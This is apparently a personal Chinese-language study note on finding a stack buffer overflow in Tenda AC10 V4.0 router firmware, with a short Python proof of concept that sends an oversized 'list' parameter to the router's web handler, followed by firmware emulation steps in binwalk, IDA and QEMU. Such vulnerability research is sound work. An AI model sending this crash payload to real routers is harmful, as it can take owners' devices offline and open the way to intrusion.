> For the complete documentation index, see [llms.txt](https://dizzzzy.gitbook.io/notebook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dizzzzy.gitbook.io/notebook/course/pwn-notebook/vulnerability-discovery.md).

# Vulnerability Discovery

## 记: IoT路由固件漏洞挖掘

### 产品

* Tenda AC10
* 固件下载地址: <https://www.tenda.com.cn/download/detail-3684.html>
* 硬件版本: V4.0
* 软件版本: V16.03.10.20
* 说明：此固件仅适用于AC10 v4型号的机器升级

### 影响版本

V16.03.10.20

### 漏洞细节

Tenda AC10 V16.03.10.20固件&#x5728;**`formSetQosBand`**&#x51FD;数中存在**堆栈溢出漏洞**。

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FzNhYSti3qDZN9i0fXAZM%2F1.png?alt=media&amp;token=4e7ff7aa-482f-4f64-b784-53ee5955cf7b" alt=""><figcaption></figcaption></figure>

从POST请求接收“list”参数赋值给变量s，该变量作为参数传递到函&#x6570;**`set_qosMb_list`**&#x4E2D;。在函&#x6570;**`set_qosMb_list`**&#x4E2D;，变量a1被传递给s，后者随后被分配给v9变量，该变量固定为256字节。然而，由于用户可以控制列表的输入，因此语句`strcpy（v9,s)`可能导致缓冲区溢出。用户提供的列表可能超过v9变量的容量，从而触发此安全漏洞。

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FkNv5LjOCrsfPYZ3swmXj%2F2.png?alt=media&amp;token=b0cb4044-b6d6-4ede-8283-02e76cc5488d" alt=""><figcaption></figcaption></figure>

### Exp

```
import requests
from pwn import*
​
ip = "***"  #仿真IP地址
url = "http://" + ip + "/goform/SetNetControlList"
payload = b"a"*2000
​
data = {"list": payload} #溢出数据传递给list
res = requests.post(url, data=data)
```

#### 仿真

参考文章：

<https://blog.csdn.net/qq_45894840/article/details/136514555>

工具：

Binwalk、IDA 7.6 Pro、QEMU

详细过程：

首先使用Binwalk提取固件文件系统，提取后会在当前目录生成一个文件夹，进入文件夹，在squashfs-root目录下是路由器主要运行的一些东西

```
binwalk -Me 固件名称.bin
```

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FVTwv9ok26BoNSihfagED%2F3.png?alt=media&amp;token=f7320bde-aa4d-4d2e-aa88-c2314b761849" alt=""><figcaption></figcaption></figure>

需要分析的固件在bin目录下，bin/httpd这个程序就是路由器主要运行的固件，使用file命令可以得知路由器固件相关的信息，比如这次的路由二进制文件是mips指令架构，32位ELF

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FCjLYXA3uksDf4ZkIY1Lq%2F4.png?alt=media&amp;token=e2a7e7c4-16b7-4b0b-9ee2-e1d2583afe7c" alt=""><figcaption></figcaption></figure>

尝试使用qemu运行，失败，权限不足，改用sudo以后发现路由器运行输出welcome以后卡住

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FwIDb1I2C4ugsEcKl7rhF%2F5.png?alt=media&amp;token=8a1da77c-5e55-4634-b8ab-cbe7df95196b" alt=""><figcaption></figcaption></figure>

这是因为路由器检测环境功能的存在，接下来使用IDA破解路由器检测环境

#### IDA破解路由器检测环境

思路就是找到验证的代码nop掉验证的指令，patch二进制文件就可以，详细过程参考图片如下

先找到相关的代码，这里直接搜索字符串查看其xref

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2Fee5gBOmkh8OXTLyzLuED%2F6.png?alt=media&amp;token=58480a83-0d92-4bc8-a8b5-8c2810001631" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FamrQLTqx7GswcN9Ualvc%2F7.png?alt=media&amp;token=1fdaf3ff-f094-4bfe-b9ea-b78db030f8ae" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FMWryxHOWBb6n90n8DzU7%2F8.png?alt=media&amp;token=1f8956ef-8b35-40cc-8b97-587093f3ad1d" alt=""><figcaption></figcaption></figure>

定位到main函数，找到相关的代码，发现是一个while循环，通过了if的验证才能跳出：

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FeHMnEmvxPGk9rEcnfjIb%2F9.png?alt=media&amp;token=dbb95a35-6a4f-4e9b-8415-14f482eb8181" alt=""><figcaption></figcaption></figure>

对应的汇编如下，也就是说需要nop掉红框中的两个跳转

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FqjPQFfqXfOiBr7RGsJhO%2F11.png?alt=media&amp;token=77d35dc2-1002-4289-b9e7-bd34310f229d" alt=""><figcaption></figcaption></figure>

在IDA中Patch Bytes（Edit->Patch program->change byte）将前四字节修改为00，就能换成nop指令了

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2Flu0SCj4CihjGnKJLAG7n%2F12.png?alt=media&amp;token=09d687bc-5471-42c6-a1a4-e29657e1c0fb" alt=""><figcaption></figcaption></figure>

完成以后打补丁（Edit->Patch program->Apply patches to input file）

替换文件以后需要注意给文件赋权限：

```
chmod 777 httpd
```

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FbWAjkFOJX7TfJyn9rLMr%2F13.png?alt=media&amp;token=58bd32d4-3f7f-4fd9-bf44-aa9f9ba6c04f" alt=""><figcaption></figcaption></figure>

最后仿真（添加新的网卡，这里一开始我没有添加正确一直创建soccket报错卡了很久啊啊啊）

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FLfRvepjvfz0kxAc790pu%2F14.png?alt=media&amp;token=ca16667c-b11e-48f8-9a38-77fceea7c708" alt=""><figcaption></figcaption></figure>

```
（sudo）：
brctl addbr br0
brctl addif br0 eth0 #注意！！！这里网卡绑自己虚拟机的eths
ifconfig br0 up
dhclient br0 
```

最后执行Poc成功触发漏洞：

<figure><img src="https://3730186196-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrCG00nTO3O6DVWijfDnr%2Fuploads%2FNtGkJQdywYCmpsXMRmdw%2F15.png?alt=media&amp;token=bd4ada0f-b363-4486-8146-9e4cd19ff012" alt=""><figcaption></figcaption></figure>
